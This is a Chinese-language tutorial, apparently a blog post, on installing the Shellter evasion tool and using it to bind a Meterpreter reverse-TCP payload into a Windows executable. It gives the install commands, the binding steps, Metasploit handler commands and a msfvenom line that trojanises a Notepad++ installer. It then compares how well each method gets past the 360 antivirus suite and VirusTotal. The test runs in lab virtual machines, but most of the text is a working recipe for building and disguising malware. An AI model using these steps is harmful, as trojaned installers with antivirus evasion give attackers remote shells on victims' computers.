免杀捆绑工具 shellter 的安装及使用

# shellter 安装

1. 添加 i386 32 位 架构支持、更新 apt、安装 wine 依赖：
   • dpkg --add-architecture i386 && apt update && apt -y install wine32
2. 安装 shellter：
   • apt install shellter
     

# shellter 使用

使用 shellter 捆绑 Meterpreter_Reverse_TCP

捆绑步骤：

1. 命令行输入 shellter 打开工具
2. 输入 A 或者 a ，选择 自动模式；
3. PE Target: 后输入要进行 捆绑 的 文件路径
   
   <br>
4. 输入 Y ，进入 隐形模式
   
   <br>
5. 输入 L ，使用 payload 攻击模块列表（即上面的 1~7 ）
6. payload 编号选择 1 ，使用 Meterpreter_Reverse_TCP 攻击
   
   <br>
7. 分别输入监听端的 IP、端口号
   
   <br>
8. 按 [Enter] 退出 shellter ：
   

<br>

[关于生成的文件]

捆绑完毕的文件 会代替 原文件 ，即出现在 原文件目录 下，名字相同
而原文件会 备份 在目录 /root/Shellter_Backups/ ：

# 利用 & 免杀效果

# 利用

1. 上传到 Win7_x64 虚拟机，
2. Kali_Linux 虚拟机打开 msf （命令 msfconsole ），监听反弹 shell：
   • use exploit/multi/handler
   • set payload windows/meterpreter/reverse_tcp
   • set LHOST 192.168.158.139
   • set LPORT 4444
   • run

反弹 shell 成功！

# 免杀效果

我的 Win7_x64 虚拟机 安装了 360 全家桶，

但是 静态检测 貌似并没有查出 木马文件～

运行木马程序，并成功获得 meterpreter 的 shell 之后，360 竟然也没有第一时间报毒。。。 什么情况 (⊙_⊙)？

大概一分钟之后，才提示有木马：

（实际上这个时间足够黑客 迁移进程 并 布置后门 了)

当然，如果你的电脑以前中过这个毒，360 会第一时间反应过来
（但这要是还没反应，360 就该进回收站了）

然后看看 virustotal 的检测情况（31 / 70）：检测报告 传送门 1

对比 ：
使用 同程序 同 payload，用 msf 自带的捆绑手段生成的木马：
（命令： msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.158.139 LPORT=4444 -x npp.8.1.4.Installer.exe -f exe > mp_npp.exe ）

virustotal 的检测情况（40 / 70）：检测报告 传送门 2

相比较而言，可以说 shellter 的捆绑免杀效果比 msf 好很多了。